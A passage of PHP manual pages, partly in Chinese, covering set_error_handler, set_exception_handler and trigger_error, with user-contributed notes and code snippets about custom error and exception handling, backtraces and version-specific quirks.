               E_WARNING        => 'WARNING',
               E_PARSE          => 'PARSING ERROR',
               E_NOTICE         => 'NOTICE',
               E_CORE_ERROR     => 'CORE ERROR',
               E_CORE_WARNING   => 'CORE WARNING',
               E_COMPILE_ERROR  => 'COMPILE ERROR',
               E_COMPILE_WARNING => 'COMPILE WARNING',
               E_USER_ERROR     => 'USER ERROR',
               E_USER_WARNING   => 'USER WARNING',
               E_USER_NOTICE    => 'USER NOTICE',
               E_STRICT         => 'STRICT NOTICE',
               E_RECOVERABLE_ERROR  => 'RECOVERABLE ERROR'
               );

    // create error message
    if (array_key_exists($errno, $errorType)) {
        $err = $errorType[$errno];
    } else {
        $err = 'CAUGHT EXCEPTION';
    }

    $errMsg = "$err: $errstr in $errfile on line $errline";

    // start backtrace
    foreach ($backtrace as $v) {

        if (isset($v['class'])) {

            $trace = 'in class '.$v['class'].'::'.$v['function'].'(';

            if (isset($v['args'])) {
                $separator = '';

                foreach($v['args'] as $arg ) {
                    $trace .= "$separator".getArgument($arg);
                    $separator = ', ';
                }
            }
            $trace .= ')';
        }

        elseif (isset($v['function']) && empty($trace)) {
            $trace = 'in function '.$v['function'].'(';
            if (!empty($v['args'])) {

                $separator = '';

                foreach($v['args'] as $arg ) {
                    $trace .= "$separator".getArgument($arg);
                    $separator = ', ';
                }
            }
            $trace .= ')';
        }
    }

    // display error msg, if debug is enabled
    if($cfg['debug'] == 1) {
        echo '<h2>Debug Msg</h2>'.nl2br($errMsg).'<br />
            Trace: '.nl2br($trace).'<br />';
    }

    // what to do
    switch ($errno) {
        case E_NOTICE:
        case E_USER_NOTICE:
            return;
            break;

        default:
            if($cfg['debug'] == 0){
                // send email to admin
                if(!empty($cfg['adminEmail'])) {
                    @mail($cfg['adminEmail'],'critical error on '.$_SERVER['HTTP_HOST'], $errorText,
                            'From: Error Handler');
                }
                // end and display error msg
                exit(displayClientMessage());
            }
            else
                exit('<p>aborting.</p>');
            break;

    }

} // end of errorHandler()

function displayClientMessage()
{
    echo 'some html page with error message';

}

function getArgument($arg)
{
    switch (strtolower(gettype($arg))) {

        case 'string':
            return( '"'.str_replace( array("\n"), array(''), $arg ).'"' );

        case 'boolean':
            return (bool)$arg;

        case 'object':
            return 'object('.get_class($arg).')';

        case 'array':
            $ret = 'array(';
            $separtor = '';

            foreach ($arg as $k => $v) {
                $ret .= $separtor.getArgument($k).' => '.getArgument($v);
                $separtor = ', ';
            }
            $ret .= ')';

            return $ret;

        case 'resource':
            return 'resource('.get_resource_type($arg).')';

        default:
            return var_export($arg, true);
    }
}

?>
stepheneliotdewey at GmailDotCom 26-Jun-2007 08:48
The manual states:

"errcontext will contain an array of every variable that existed in the scope the error was triggered in. User error handler must not modify error context."

But do you know WHY you must not modify the error context? It appears that errcontext is (in effect if not literally) created by taking $GLOBALS and adding the non-global local variables as additional entries in that array, then passing the whole thing *by reference*.

(You can prove this to be true if you set up a custom error handler and then print_r($errcontext) within it, because $GLOBALS will be printed as a recursive array).

In other words, the language in the manual is misleading, because errcontext is NOT a copy of the variables that existed when the error WAS triggered, but rather is a reference to the *existing LIVE variables* in the calling script.

This includes superglobal variables like $_SERVER, $_POST, $_GET, etc., as well as all user-defined variables in scope.

The significance of that is that if you modify errcontext, you will be modifying those other variables, not just for the life of your error handling function, but for the life of the calling script as well.

That doesn't matter if you plan to halt execution in your error handling function, but it will lead to unexpected behavior if you modify $errcontext and then return to the program's normal flow after handling the error, because the variables will stay modified. For example, if you unset $_SERVER in your custom error handling function, it will remain unset once the function is over and you have returned to the page that generated the error.

This should be made clearer in the manual, starting by marking errhandler with an ampersand (&) for passage by reference in the "Parameters" section above, like so:

handler ( int $errno, string $errstr [, string $errfile [, int $errline [, array &$errcontext]]] )
silkensedai at online dot fr 02-May-2007 12:37
i made an error handler that print also the backtrace and that can die on some errors. It can be useful if you want to die on every error you find.

<?php

function my_error_handler($errno, $errstr, $errfile, $errline){
    $errno = $errno & error_reporting();
    if($errno == 0) return;
    if(!defined('E_STRICT'))            define('E_STRICT', 2048);
    if(!defined('E_RECOVERABLE_ERROR')) define('E_RECOVERABLE_ERROR', 4096);
    print "<pre>\n<b>";
    switch($errno){
        case E_ERROR:               print "Error";                  break;
        case E_WARNING:             print "Warning";                break;
        case E_PARSE:               print "Parse Error";            break;
        case E_NOTICE:              print "Notice";                 break;
        case E_CORE_ERROR:          print "Core Error";             break;
        case E_CORE_WARNING:        print "Core Warning";           break;
        case E_COMPILE_ERROR:       print "Compile Error";          break;
        case E_COMPILE_WARNING:     print "Compile Warning";        break;
        case E_USER_ERROR:          print "User Error";             break;
        case E_USER_WARNING:        print "User Warning";           break;
        case E_USER_NOTICE:         print "User Notice";            break;
        case E_STRICT:              print "Strict Notice";          break;
        case E_RECOVERABLE_ERROR:   print "Recoverable Error";      break;
        default:                    print "Unknown error ($errno)"; break;
    }
    print ":</b> <i>$errstr</i> in <b>$errfile</b> on line <b>$errline</b>\n";
    if(function_exists('debug_backtrace')){
        //print "backtrace:\n";
        $backtrace = debug_backtrace();
        array_shift($backtrace);
        foreach($backtrace as $i=>$l){
            print "[$i] in function <b>{$l['class']}{$l['type']}{$l['function']}</b>";
            if($l['file']) print " in <b>{$l['file']}</b>";
            if($l['line']) print " on line <b>{$l['line']}</b>";
            print "\n";
        }
    }
    print "\n</pre>";
    if(isset($GLOBALS['error_fatal'])){
        if($GLOBALS['error_fatal'] & $errno) die('fatal');
    }
}

function error_fatal($mask = NULL){
    if(!is_null($mask)){
        $GLOBALS['error_fatal'] = $mask;
    }elseif(!isset($GLOBALS['die_on'])){
        $GLOBALS['error_fatal'] = 0;
    }
    return $GLOBALS['error_fatal'];
}

?>

Usage :

<?php
error_reporting(E_ALL);      // will report all errors
set_error_handler('my_error_handler');
error_fatal(E_ALL^E_NOTICE); // will die on any error except E_NOTICE
?>
24-Jan-2006 01:19
To honor the value of PHP's error_reporting() function, use:

<?
  if( ($level & error_reporting()) == 0 ) return;
?>
Steffen Staehle 12-Jan-2005 02:29
Two notes on using set_error_handler() on behaviour that I noticed when migrating an application from php 4.2.1 to php 4.3.9 (I do not yet have php 5.0 available, this might not apply there!).

1. setting the system error handler

If you want to set the standard php error handler again, after having set your own error handler, this works in php 4.2.1 by passing in an empty string:

<?php

   function my_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // do something useful
      // ...
   }

   $last_handler = set_error_handler("my_handler");

   // after this, $last_handler == ""

   // restore standard error handler

   $last_handler = set_error_handler("");

   // after this, $last_handler == "my_handler"

?>

The very same code now raises an error in php 4.3.9:

   set_error_handler() expects argument 1, '', to be a valid callback

(Since the return value of the first call to set_error_handler() is still the empty string "", I don't see how this can be done any more. I don't really need this, because I use my own handlers as shown below, but it might be good to be aware of this.)

2. setting your own 'second level' handler

If you have set your own error handler, and want to replace it by another one (other than the standard php error handler) while it is being executed, note that the return value of set_error_handler when used INSIDE the error handler is "" instead of the name of the previous handler! This is not too surprising, because during execution of your self defined error handler, php replaces it with the standard php error handler to avoid infinite loops in case of problems inside the handler. This is only interesting if you want nested handlers as I do. Background of my design:

   1st level handler: log into DB
   2nd level handler: log into flat file (if log into DB fails)
   3rd level handler: print to stdout (if log into flat file fails) (this is the sytem handler, finally).

<?php

   function my_fallback_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // do something useful
      // ...

   } // my_fallback_handler

   function my_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // but we want to have a fallback handler different
      // to the standard error handler

      $last_handler = set_error_handler("my_fallback_handler");

      // I expected $last_handler == "my_handler"
      // (which it would outside my_handler())
      // but here it is the empty string ""

      // do something useful
      // ...

      // now set the 1st level handler again:
      // (do NOT use $last_handler as argument,
      // because it equals "")

      $last_handler = set_error_handler("my_handler");

   } // my_handler

   $last_handler = set_error_handler("my_handler");

?>
29-Mar-2004 04:13
It seems that when you're letting PHP know that you have a custom  error handler, you're not able to -update/set new- variables inside the class. Example:

<?php
class error {
   var $error;

   function error() {
       $this->setIni();    // this causes PHP to ignore all other changes to the class.
   }

   function handler() {
       echo $this->error.'!!';
   }

   function setText($text) {
         $this->error = $text;
   }

   function setIni() {
       set_error_handler(array($this, 'handler'));
   }
}

$eh = new error;
$eh->setText('Error! <br>');  // this will not be saved

trigger_error('text', E_USER_ERROR);
// prints '!!'
?>

How it should be done:
<?php
class error {
   var $error;

   function error() {
         // dont let PHP know of our error handler yet
   }

   function handler() {
       echo $this->error.'!!';
   }

   function setText($text) {
         $this->error = $text;
   }

   function setIni() {
       set_error_handler(array($this, 'handler'));
   }
}

$eh = new error;
$eh->setText('Error! <br>');  // this WILL work
$eh->setIni();  // call this method when you're ready with configuring the class. All other methods that will be called will have no effect on the errorHandling by PHP

trigger_error('text', E_USER_ERROR);
// prints 'Error! <br>!!'
?>
phpmanual at NO_SPHAMnetebb dot com 15-Nov-2003 08:19
Given this code:

class CallbackClass {
    function CallbackFunction() {
        // refers to $this
    }

    function StaticFunction() {
        // doesn't refer to $this
    }
}

function NonClassFunction() {
}

there appear to be 3 ways to set a callback function in PHP (using set_error_handler() as an example):

1: set_error_handler('NonClassFunction');

2: set_error_handler(array('CallbackClass', 'StaticFunction'));

3: $o =& new CallbackClass();
   set_error_handler(array($o, 'CallbackFunction'));

The following may also prove useful:

class CallbackClass {
    function CallbackClass() {
        set_error_handler(array(&$this, 'CallbackFunction')); // the & is important
    }

    function CallbackFunction() {
        // refers to $this
    }
}

The documentation is not clear in outlining these three examples.
mmtache at yahoo dot com 09-Feb-2003 01:06
The @ operator sets the error_reporting() value to 0.
This means you can use it with your own Error Handler too. for example:

function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars) {
   if (error_reporting())
echo $errmsg;
    }
set_error_handler("userErrorHandler");

function test(){
trigger_error("Error Message", E_USER_WARNING);
}

@test(); // doesn't output anything
roy 12-Jun-2002 04:08
Useful thing to note - if your error handler throws an error in itself, PHP is smart enough to use the deault error handler to handle it. This way, you don't end up in infinite flaming loops of death. This seems to be true, at least, in PHP 4.2.

('Course, there are ways to create your handler to handle even this situation, but it's probably best left this way for general purposes.)


设置用户自定义的异常处理函数

  • ? set_error_handler
  • trigger_error ?
  • PHP Manual
  • 错误处理 函数
  • 设置用户自定义的异常处理函数

set_exception_handler

(PHP 5, PHP 7, PHP 8)

set_exception_handler — 设置用户自定义的异常处理函数

说明

set_exception_handler(?callable $callback): ?callable

设置默认的异常处理程序，用于没有用 try/catch 块来捕获的异常。 在 callback 调用后异常会中止。

参数

callback

当一个未捕获的异常发生时所调用的函数。该处理函数需要接受一个参数，该参数是抛出的 Throwable 对象。Error 和 Exception 都实现了 Throwable 接口。这是处理程序签名：

handler(Throwable $ex): void

也可以传递 null 值用于重置异常处理函数为默认值。

返回值

返回之前定义的异常处理程序，或者在错误时返回 null。如果之前没有定义错误处理程序，也会返回 null。

示例

Example #1 set_exception_handler() 范例

<?php
function exception_handler(Throwable $exception) {
echo "Uncaught exception: " , $exception->getMessage(), "\n";
}

set_exception_handler('exception_handler');

throw new Exception('Uncaught Exception');
echo "Not Executed\n";
?>

参见

  • restore_exception_handler() - 恢复之前定义过的异常处理函数。
  • restore_error_handler() - 还原之前的错误处理函数
  • error_reporting() - 设置应该报告何种 PHP 错误
  • 异常

User Contributed Notes

ohcc at 163 dot com 09-Jun-2020 04:05
As of PHP 7.4, an exception thrown within the user-defined shutdown function can be caught by the user-defined exception handler.

<?php
    set_error_handler(
        function($level, $error, $file, $line){
            if(0 === error_reporting()){
                return false;
            }
            throw new ErrorException($error, -1, $level, $file, $line);
        },
        E_ALL
    );

    register_shutdown_function(function(){
        $error = error_get_last();
        if($error){
            throw new ErrorException($error['message'], -1, $error['type'], $error['file'], $error['line']);
        }
    });

    set_exception_handler(function($exception){
        // ... more code ...
    });

    require 'NotExists.php';
klaussantana at gmail dot com 12-Sep-2017 03:44
Hi everyone. I don't know if it is an old behavior of previous versions, but currently you can set exception and error handlers as private or protected methos, if, only if, you call `set_exception_handler()` or `set_error_handler()` within a context that can access the method.

Example:
    <?PHP
        $Handler = new class ()
        {
            public function __construct ()
            {
                set_error_handler([$this, 'HandleError');
                set_exception_handler([$this, 'HandleException']);
            }
            protected function HandleError ( $Code, $Message, $File = null, $Line = 0, $Context = [] )
            {
                // Handle error here.
            }
            private function HandleException ( $Exception )
            {
                // Handle exception here.
            }
        }
    ?>

NOTE: these methods must match the callbacks parameters signatures. I put
dev at codesatori dot com 21-Nov-2016 03:51
For those of you wanting to convert PHP errors to ErrorExceptions (useful), but frustrated with the script being halted on every E_NOTICE et al. In your error handler, simply create the ErrorException, and then either throw it (script halted), or pass the object directly (script continues) to your exception handler function.

<?php
const EXIT_ON_ALL_PHP_ERRORS = false; // or true

function proc_error($errno, $errstr, $errfile, $errline)
{
    $e = new ErrorException($errstr, 0, $errno, $errfile, $errline);

    if (EXIT_ON_ALL_PHP_ERRORS) {
        throw $e; // This will halt your script.
    } else {
        proc_exception($e); // This will let it continue.
    }
}

set_error_handler("proc_error");
set_exception_handler("proc_exception");
?>

You could further customize the error severity level (from $errno, match bitmasks with error level constants) at which the script is halted or allowed to continue. The above simply allows passthru for PHP errors' default behavior.

If your exception handler is receiving both error ErrorExceptions (with severity level etc.) and other types of uncaught Exceptions, then use a <?php if ($e instanceof ErrorException) { // ... } ?> condition to deal with the variance. I had to further wrap it into a <?php try { $errno = $e->getSeverity(); } catch (Exception $x) { $errno = 0 } ... ?>, because some EE-s were mysteriously lacking the severity level property (yet to dig in and find out why).
Josef Spak 22-Sep-2014 10:34
On GNU/Linux, When an exception handler is called, PHP will end with exit status code 0 instead of 255.

You can change the exit status code with an exit() call at the end of your custom error handler.
Anonymous 08-Mar-2014 11:42
By default the stack trace is pretty unreadable, so you might want to wrap it in <pre> tags. Here I also wrap it in a <div> and set the class 'alert alert-danger' which are CSS classes in the Bootstrap CSS framework to style them red.
<?php

function exception_handler($exception) {
  echo '<div class="alert alert-danger">';
  echo '<b>Fatal error</b>:  Uncaught exception \'' . get_class($exception) . '\' with message ';
  echo $exception->getMessage() . '<br>';
  echo 'Stack trace:<pre>' . $exception->getTraceAsString() . '</pre>';
  echo 'thrown in <b>' . $exception->getFile() . '</b> on line <b>' . $exception->getLine() . '</b><br>';
  echo '</div>';
}

set_exception_handler('exception_handler');
Anonymous 25-Feb-2013 08:51
As of PHP 5.4.11....

Instead of:

Output: Fatal error: Exception thrown without a stack frame in Unknown on line 0

This snippet:

<?php
function error_handler($code, $message, $file, $line)
{
    if (0 == error_reporting())
    {
        return;
    }
    throw new ErrorException($message, 0, $code, $file, $line);
}
function exception_handler($e)
{
    // ... normal exception stuff goes here
    print $undefined; // This is the underlying problem
}
set_error_handler("error_handler");
set_exception_handler("exception_handler");
throw new Exception("Just invoking the exception handler");
?>

Now returns:

Fatal error: Uncaught exception 'ErrorException' with message 'Undefined variable: undefined' in C:\Apache2\htdocs\error\test.php:13 Stack trace: #0 C:\Apache2\htdocs\error\test.php(13): error_handler(8, 'Undefined varia...', 'C:\Apache2\htdo...', 13, Array) #1 [internal function]: exception_handler(Object(Exception)) #2 {main} thrown in C:\Apache2\htdocs\error\test.php on line 13

So it appears that exceptions thrown within exception handler now bypass exception handler.
pinkgothic at gmail dot com 01-Jun-2010 02:30
If you're handling sensitive data and you don't want exceptions logging details such as variable contents when you throw them, you may find yourself frustratedly looking for the bits and pieces that make up a normal stack trace output, so you can retain its legibility but just alter a few things. In that case, this may help you:

<?php

function exceptionHandler($exception) {

    // these are our templates
    $traceline = "#%s %s(%s): %s(%s)";
    $msg = "PHP Fatal error:  Uncaught exception '%s' with message '%s' in %s:%s\nStack trace:\n%s\n  thrown in %s on line %s";

    // alter your trace as you please, here
    $trace = $exception->getTrace();
    foreach ($trace as $key => $stackPoint) {
        // I'm converting arguments to their type
        // (prevents passwords from ever getting logged as anything other than 'string')
        $trace[$key]['args'] = array_map('gettype', $trace[$key]['args']);
    }

    // build your tracelines
    $result = array();
    foreach ($trace as $key => $stackPoint) {
        $result[] = sprintf(
            $traceline,
            $key,
            $stackPoint['file'],
            $stackPoint['line'],
            $stackPoint['function'],
            implode(', ', $stackPoint['args'])
        );
    }
    // trace always ends with {main}
    $result[] = '#' . ++$key . ' {main}';

    // write tracelines into main template
    $msg = sprintf(
        $msg,
        get_class($exception),
        $exception->getMessage(),
        $exception->getFile(),
        $exception->getLine(),
        implode("\n", $result),
        $exception->getFile(),
        $exception->getLine()
    );

    // log or echo as you please
    error_log($msg);
}

?>

If you're not a fan of sprintf() or the duplicate $exception->getFile() and $exception->getLine() calls you can of course replace that as you like - consider this a mere compilation of the parts.
Anonymous 16-Dec-2009 06:12
Things you should be aware of:

An exception handler handles exceptions that were not caught before. It is the nature of an exception that it discontinues execution of your program - since it declares an exceptional situation in which the program cannot continue (except you catch it).

Since it has not been catched your code signals it is not being aware of the situation and cant go on.

This implies: returning to the script is simply impossible when the exception handler has already been called, since an uncaught exception is not a notice. use your own debug- or notice-log-system for things like that.

Furthermore: While is is still possible to call functions from your script, since the exception handler has already been called exceptions bubbling from that piece of code won't trigger the exception handler again. php will die without leaving any information apart form "uncaught exception with unknown stack frame". So if you call functions from your script, make sure that you catch any exceptions that possibly occur via try..catch inside the exception handler.

For those of you who misinterpreted the essential meaning of the exception handler: it's only use is to handle the abortion of your script gracefully, e.g. in a project like facebook or wikipedia: render a nice error page, eventually hiding information which shall not leak into the public (instead you may want to write to your log or mail the sys-admin or stuff like that).

In other words: Redirecting all php-errors form an error-handler using exceptions - including notices - is a very dumb idea, if you do not intend having your script aborted everytime you didn't set a variable (for example).

my 2 cents.
Anonymous 10-Dec-2009 06:09
When an uncaught exception is handled, execution does NOT return to the script, but rather (unexpectedly, on my end anyway) terminates.

I am using set_error_handler() and set_exception_handler() in conjunction for a system I am currently developing (on v5.3.0 with Xampp). Lets say two E_USER_NOTICES are triggered, the script will die after the first one is processed.

<?php
    set_exception_handler( 'exc_handler' );
    function exc_handler($exception) {
        echo "Uncaught exception: " , $exception->getMessage(), "\n";
    }
    function errorone() {
        throw new Exception("Test 1");
    }
    function errortwo() {
        throw new Exception("Test 2");
    }
    function test() {
        errorone();
        errortwo();
    }
    test();
    test();
?>

Instead of printing (as I'd expect) "Uncaught exception: Text 1\nUncaught exception: Text 2\nUncaught exception: Text 1\nUncaught exception: Text 2\n"

It is only printed ONCE. I've tried a number of different things, but I can't figure out how to return execution to the script after the EXCEPTION HANDLER has run.

If anyone has a solution on how to return execution (hence, allow the script to log uncaught exceptions but continue processing) then PLEASE email me! Thanks!
joshua dot boyle-petrie at its dot monash dot edu 08-Jan-2009 11:44
Thanks to mastabog we know that throwing an exception within the exception handler will trigger a fatal error and a debugging nightmare.  To avoid throwing an exception within there should be easy.

However, if you use a custom error handler to convert errors to ErrorExceptions suddenly there are a multitude of new ways to accidentally throw exceptions within the exception handler.

<?php
function error_handler($code, $message, $file, $line)
{
    if (0 == error_reporting())
    {
        return;
    }
    throw new ErrorException($message, 0, $code, $file, $line);
}
function exception_handler($e)
{
    // ... normal exception stuff goes here
    print $undefined; // This is the underlying problem
}
set_error_handler("error_handler");
set_exception_handler("exception_handler");
throw new Exception("Just invoking the exception handler");
?>
Output: Fatal error: Exception thrown without a stack frame in Unknown on line 0

The best way I have found to avoid this is to wrap up everything in the exception handler in a try/catch block.
<?php
function exception_handler($e)
{
    try
    {
        // ... normal exception stuff goes here
        print $undefined; // This is the underlying problem
    }
    catch (Exception $e)
    {
        print get_class($e)." thrown within the exception handler. Message: ".$e->getMessage()." on line ".$e->getLine();
    }
}
?>
Output: ErrorException thrown within the exception handler. Message: Undefined variable: undefined on line 14

This speeds up debugging and offers some scalability to any other exceptions accidentally thrown within the exception handler.

Another solution is to restore the error handler at the beginning of the exception handler.  While this is a silver bullet in terms of avoiding the ErrorExceptions, debugging messages then rely on the error_reporting() level and the display_errors directive.  Why mention this?  It might be preferable for production code since we care more about hiding errors from users than convenient debugging messages.
marques at displague dot com 14-Apr-2008 07:19
frank,

Your exception handler is configured to be the handler for all exceptions, yet if a basic 'Exception' is thrown, your static method will error because 'Exception's do not have 'getException'.  Because of this I don't see a real purpose to making the uncaught handler a class that extends Exception.

I do like the idea of using static methods of a general Exception handling class.

<?php
class ExceptionHandler {
    public static function printException(Exception $e)
    {
        print 'Uncaught '.get_class($e).', code: ' . $e->getCode() . "<br />Message: " . htmlentities($e->getMessage())."\n";
    }

    public static function handleException(Exception $e)
    {
         self::printException($e);
    }
}

set_exception_handler(array("ExceptionHandler", "handleException"));

class NewException extends Exception {}
try {
  throw new NewException("Catch me once", 1);
} catch (Exception $e) {
  ExceptionHandler::handleException($e);
}

throw new Exception("Catch me twice", 2);
?>

Gives:
Uncaught NewException, code: 1<br />Message: Catch me once
Uncaught Exception, code: 2<br />Message: Catch me twice

There are much more interesting things that can be done like reformating and optionally displaying or emailing them.  But this class acts a nice container for those functions.
frank at netventures dot com dot au 05-Nov-2007 10:10
Hey all, i've just started to use the exception suite instead of the normal PHP error suite. For those of you looking for an object orientated way to do this without looking down at Glen and Sean's examples (Lesson 1: ALWAYS read the logs!), here you go:

<?php

class NewException extends Exception
{
    public function __construct($message, $code=NULL)
    {
        parent::__construct($message, $code);
    }

    public function __toString()
    {
        return "Code: " . $this->getCode() . "<br />Message: " . htmlentities($this->getMessage());
    }

    public function getException()
    {
        print $this; // This will print the return from the above method __toString()
    }

    public static function getStaticException($exception)
    {
         $exception->getException(); // $exception is an instance of this class
    }
}

set_exception_handler(array("NewException", "getStaticException"));
throw new NewException("Catch me!!!", 69);

?>

Let me know if i'm missing something obvious as I left my glasses at home and I just came back from the Melbourne cup (If I won then I wouldn't be at work still!).
reg dot php dot manual at entropy dot ch 09-May-2007 06:59
In my experience, the static keyword is crucial for error handlers which are methods of a class instead of free-standing functions.

    static function exceptionHandler($exception)

works but

    function exceptionHandler($exception)

doesn't and results in a "Fatal error: Exception thrown without a stack frame in Unknown on line 0" message.

"public" is optional as it is the default anyway (but it is probably clearer to write it explicitly).
Glen 03-Mar-2007 12:34
If you want a class instance to handle the exception, this is how you do it :

<?php
class example {
   public function __construct() {
       @set_exception_handler(array($this, 'exception_handler'));
       throw new Exception('DOH!!');
   }

   public function exception_handler($exception) {
       print "Exception Caught: ". $exception->getMessage() ."\n";
   }
}

$example = new example;

?>

See the first post (Sean's) for a static example.  As Sean points out, the exception_handler function must be declared public.
mastabog at hotmail dot com 08-Aug-2006 07:44
A behaviour not documented or discussed enough, yet pretty common is that is that if an exception is thrown from the global exception handler then a fatal error occurs (Exception thrown without a stack frame). That is, if you define your own global exception handler by calling set_exception_handler() and you throw an exception from inside it then this fatal error occurs. It is only natural though, as the callback defined by set_exception_handler() is only called on uncaught (unhandled) exceptions so if you throw one from there then you get this fatal error as there is no exception handler left (you override the php internal one by calling set_exception_handler()), hence no stack frame for it.

Example:

<?php

function myExceptionHandler (Exception $ex)
{
    throw $ex;
}

set_exception_handler("myExceptionHandler");

throw new Exception("This should cause a fatal error and this message will be lost");

?>

Will cause a Fatal error: Exception thrown without a stack frame

If you skip/comment the set_exception_handler("...") line then the internal PHP global handler will catch the exception and output the exception message and trace (as string) to the browser, allowing you to at least see the exception message.

While it is a very good idea to always define your own global exception handler by using the set_exception_handler() function, you should pay attention and never throw an exception from it (or if you do then catch it).

Finally, every serious coder should use an IDE with debugging capabilities. Tracking down an error like this becomes a trivial matter by using simple debugging "Step into" commands (I for one recommend Zend IDE v5.2 at the moment of this writing). I have seen numerous messages on the internet with people wondering why this message pops up.

Cheers

p.s. Other causes for this error which are somehow unrelated to this is when you throw an exception from a destructor (the reasons behind that are similar though, the global handler might no longer exist due to the php engine shutting the page down).
mc-php-doco at oak dot homeunix dot org 07-Apr-2006 09:41
This seems not to work when calling the PHP binary with the '-r' flag.

For example, if I run it like this:

    php -r '
      function exception_handler($exception) {
        echo "Uncaught exception: " , $exception->getMessage(), "\n";
      }

      set_exception_handler("exception_handler");

      throw new Exception("Uncaught Exception");
      echo "Not Executed\n";
    '

Or if I place it in a file and run it like this:

    php -r 'include "./tmp.php";'

I get a stack trace instead of having the function 'exception_handler' called.  If run it like this:

    php tmp.php

It works fine.

(Why run code from '-r'?  Sometimes it's useful to add stuff around the include like calls to microtime for benchmarks, or to include a library and then call a few functions from the library, all in an ad-hoc way without having to create new files.)

PHP versions 5.1.2 and 5.0.4.
ch at westend dot com 21-Feb-2006 07:06
It seems that although the Exception contains a backtrace itself, the stack for the debug_backtrace() function is empty when entering an exception handler. This is very inconvinient. See bug #36477.
sean at seanodonnell dot com 23-Oct-2005 04:48
Using the 'set_exception_handler' function within a class, the defined 'exception_handler' method must be declared as 'public' (preferrable 'public static' if you use the "array('example', 'exception_handler')" syntax).

<?php
class example {
    public function __construct() {
        @set_exception_handler(array('example', 'exception_handler'));
        throw new Exception('DOH!!');
    }

    public static function exception_handler($exception) {
        print "Exception Caught: ". $exception->getMessage() ."\n";
    }
}

$example = new example;

echo "Not Executed\n";
?>

Declaring the 'exception_handler' function as 'private' causes a FATAL ERROR.

[derick: red. updated statement about static a bit]


产生一个用户级别的 error/warning/notice 信息

  • ? set_exception_handler
  • user_error ?
  • PHP Manual
  • 错误处理 函数
  • 产生一个用户级别的 error/warning/notice 信息

trigger_error

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

trigger_error — 产生一个用户级别的 error/warning/notice 信息

说明

trigger_error(string $message, int $error_level = E_USER_NOTICE): bool

用于触发一个用户级别的错误条件，它能结合内置的错误处理器所关联，或者可以使用用户定义的函数作为新的错误处理程序(set_error_handler())。

该函数在你运行出现异常时，需要产生一个特定的响应时非常有用。

参数

message

该 error 的特定错误信息，长度限制在了 1024 个字节。超过 1024 字节的字符都会被截断。

error_level

该 error 所特定的错误类型。仅 E_USER 系列常量对其有效，默认是 E_USER_NOTICE。

返回值

如果指定了错误的 error_level 会返回 false ，正确则返回 true。

示例

Example #1 trigger_error() 示例

set_error_handler() 可见到更多详细的例子。

<?php
if ($divisor == 0) {
trigger_error("Cannot divide by zero", E_USER_ERROR);
}
?>

注释

Warning

在 message 里的 HTML 实体，并不会被转义。如果错误消息要显示在浏览器里，需要对错误消息使用 htmlentities()。

参见

  • error_reporting() - 设置应该报告何种 PHP 错误
  • set_error_handler() - 设置用户自定义的错误处理函数
  • restore_error_handler() - 还原之前的错误处理函数
  • 错误级别常量

User Contributed Notes

phpmanual at allanid dot com 16-Aug-2022 05:17
Note that whether or not the script is terminated by this function call, is determined by the error_level.

Eg. E_USER_ERROR will terminate the script while E_USER_NOTICE will not.
spravce at jednota dot podborany dot cz 10-Oct-2019 10:18
Trigger error does not trim  1024+ chars length messages if you use your own error handler
eslindsey at gmail dot com 07-Feb-2016 08:58
For those of you wanting one (or more) lines of context on your call to trigger_error, I offer this. Would be nice to use \n to get a proper stack trace, but it seems trigger_error escapes it; therefore, I use a comma.

<?php
/**
 * Behaves like trigger_error, but appends part of a stack trace to the error
 * message. This allows you to see where trigger_error was called from, instead
 * of just seeing the file and line number of the call to trigger_error.
 *
 * @param   error_msg   The designated error message for this error
 * @param   error_type  The designated error type for this error (E_USER_*)
 * @param   context     Number of stack frames to append, defaults to 1
 * @return  FALSE if wrong error_type is specified, TRUE otherwise
 */
function trigger_error_with_context($error_msg, $error_type, $context = 1) {
    $stack = debug_backtrace();
    for ($i = 0; $i < $context; $i++)
    {
        if (false === ($frame = next($stack))
            break;
        $error_msg .= ", from " . $frame['function'] . ':' . $frame['file'] . ' line ' . $frame['line'];
    }
    return trigger_error($error_msg, $error_type);
}
?>
aydin dot kn12 at gmail dot com 20-Jun-2014 07:48
If error_type is E_USER_ERROR then trigger_error throw FATAL ERROR and script stopped after this line.

<?php

$msg = 'This is the test message for echo';

trigger_error('Error message', E_USER_ERROR); // Script stopped after this line...

echo $msg; // This line does not appear...

?>
PhpMyCoder 15-Jul-2010 03:18
For those of you looking to use your own file or line number in the error (possibly using debug_backtrace()) instead of the ones created by trigger_error(), here is a solution:
Create a custom function to handle E_USER_ERRORs that simply outputs the error type and message, while excluding the line number and file trigger_error() reports. You may also configure it to handle user warnings and notices if necessary (I did in the example below).

<?php
function error_handler($level, $message, $file, $line, $context) {
    //Handle user errors, warnings, and notices ourself
    if($level === E_USER_ERROR || $level === E_USER_WARNING || $level === E_USER_NOTICE) {
        echo '<strong>Error:</strong> '.$message;
        return(true); //And prevent the PHP error handler from continuing
    }
    return(false); //Otherwise, use PHP's error handler
}

function trigger_my_error($message, $level) {
    //Get the caller of the calling function and details about it
    $callee = next(debug_backtrace());
    //Trigger appropriate error
    trigger_error($message.' in <strong>'.$callee['file'].'</strong> on line <strong>'.$callee['line'].'</strong>', $level);
}

//Use our custom handler
set_error_handler('error_handler');

//-------------------------------
//Demo usage:
//-------------------------------
function abc($str) {
    if(!is_string($str)) {
        trigger_my_error('abc() expects parameter 1 to be a string', E_USER_ERROR);
    }
}

abc('Hello world!'); //Works
abc(18); //Error: abc() expects parameter 1 to be a string in [FILE].php on line 31
?>

This is a pretty simple concept and I'm sure most of you know this, but for those that don't, let it serve as a good example!
tudor AT iccblue DOT com DOT nospam 15-Oct-2009 08:07
It actually turns out - at least on PHP 5.2.6 on XAMPP (Windows) that for the custom error handler, you will need to set $errorType as the first parameter, and only the second parameter as $message, i.e. in reverse order compared to how the manual states it now.
Howard Yeend 05-Jul-2009 04:39
trigger_error always reports the line and file that trigger_error was called on. Which isn't very useful.

eg:

main.php:
<?php
include('functions.php');
$x = 'test';
doFunction($x);
?>

functions.php:
<?php
function doFunction($var) {
if(is_numeric($var)) {
 /* do some stuff*/
} else {
